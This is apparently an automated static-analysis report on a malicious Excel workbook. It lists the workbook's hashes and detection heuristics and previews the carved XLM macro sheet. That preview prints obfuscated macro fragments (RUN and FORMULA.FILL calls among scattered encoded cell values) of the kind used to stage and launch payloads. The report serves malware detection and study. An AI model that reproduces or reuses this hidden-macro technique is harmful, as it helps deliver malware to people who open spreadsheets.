Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8a6e4c10c30b7731…

MALICIOUS

Office (OOXML)

78.8 KB Created: 2020-05-04 10:41:27 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 837df98aa8d4a040d4323cdbd94af40d SHA-1: fe32b777332b4b1289f94317fd0ef83c5e0cad4e SHA-256: 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like RUN, FORMULA.FILL, and HALT, indicating an intent to execute arbitrary commands. These functions are typically used to download and execute further stages of malware. No specific family could be identified.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: RUN, FORMULA.FILL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 214948 bytes
SHA-256: ee8a6a8050aa723c61e6292ee5c687e664097385551d31b1c49efb2769814f73
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0C4F4BA3-018A-477A-B982-22975394D3CA}"><dimension ref="A34:IU65431"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="34" spans="107:107" x14ac:dyDescent="0.25"><c r="DC34"><v>6</v></c></row><row r="95" spans="208:208" x14ac:dyDescent="0.25"><c r="GZ95"><v>2.2946428571428572</v></c></row><row r="126" spans="153:153" x14ac:dyDescent="0.25"><c r="EW126"><v>5.8433734939759034</v></c></row><row r="246" spans="164:164" x14ac:dyDescent="0.25"><c r="FH246"><v>1.8125</v></c></row><row r="302" spans="212:212" x14ac:dyDescent="0.25"><c r="HD302"><v>0.17</v></c></row><row r="306" spans="20:20" x14ac:dyDescent="0.25"><c r="T306"><v>132</v></c></row><row r="391" spans="158:158" x14ac:dyDescent="0.25"><c r="FB391"><v>-170.75</v></c></row><row r="409" spans="37:37" x14ac:dyDescent="0.25"><c r="AK409"><v>-151</v></c></row><row r="423" spans="243:243" x14ac:dyDescent="0.25"><c r="II423"><v>4</v></c></row><row r="508" spans="244:244" x14ac:dyDescent="0.25"><c r="IJ508"><v>-188</v></c></row><row r="555" spans="185:185" x14ac:dyDescent="0.25"><c r="GC555"><v>4.7272727272727275</v></c></row><row r="568" spans="61:61" x14ac:dyDescent="0.25"><c r="BI568"><v>18.5</v></c></row><row r="675" spans="81:81" x14ac:dyDescent="0.25"><c r="CC675"><v>-1.2437499999999999</v></c></row><row r="745" spans="45:45" x14ac:dyDescent="0.25"><c r="AS745"><v>-123</v></c></row><row r="760" spans="172:172" x14ac:dyDescent="0.25"><c r="FP760"><v>-235</v></c></row><row r="839" spans="71:76" x14ac:dyDescent="0.25"><c r="BS839" t="b"><f>RUN(CB2526)</f><v>0</v></c></row><row r="841" spans="71:76" x14ac:dyDescent="0.25"><c r="BX841"><v>-91</v></c></row><row r="859" spans="38:187" x14ac:dyDescent="0.25"><c r="GE859"><v>6</v></c></row><row r="864" spans="38:187" x14ac:dyDescent="0.25"><c r="AL864"><v>185</v></c></row><row r="875" spans="172:172" x14ac:dyDescent="0.25"><c r="FP875"><v>-232</v></c></row><row r="884" spans="130:130" x14ac:dyDescent="0.25"><c r="DZ884"><v>-14</v></c></row><row r="1033" spans="12:12" x14ac:dyDescent="0.25"><c r="L1033"><v>247.75</v></c></row><row r="1059" spans="123:123" x14ac:dyDescent="0.25"><c r="DS1059"><v>80.75</v></c></row><row r="1096" spans="201:201" x14ac:dyDescent="0.25"><c r="GS1096"><v>482</v></c></row><row r="1107" spans="6:6" x14ac:dyDescent="0.25"><c r="F1107"><v>-4.0166666666666666</v></c></row><row r="1185" spans="102:117" x14ac:dyDescent="0.25"><c r="CX1185" t="b"><f>FORMULA.FILL(129-GET.CELL(17,EC9093),GS53177)</f><v>0</v></c></row><row r="1186" spans="102:117" x14ac:dyDescent="0.25"><c r="CX1186" t="b"><f>RUN(IN52324)</f><v>0</v></c></row><row r="1199" spans="102:117" x14ac:dyDescent="0.25"><c r="DM1199"><v>-143</v></c></row><row r="1229" spans="212:212" x14ac:dyDescent="0.25"><c r="HD1229"><v>-0.38727524204702629</v></c></row><row r="1237" spans="174:174" x14ac:dyDescent="0.25"><c r="FR1237"><v>0.78400000000000003</v></c></row><row r="1249" spans="19:19" x14ac:dyDescent="0.25"><c r="S1249"><v>480</v></c></row><row r="1274" spans="85:85" x14ac:dyDescent="0.25"><c r="CG1274"><v>-118.75</v></c></row><row r="1309" spans="44:44" x14ac:dyDescent="0.25"><c r="AR1309"><v>1</v></c></row><row r="1316" spans="72:72" x14ac:dyDescent="0.25"><c r="BT1316"><v>1.8738738738738738
... (truncated)

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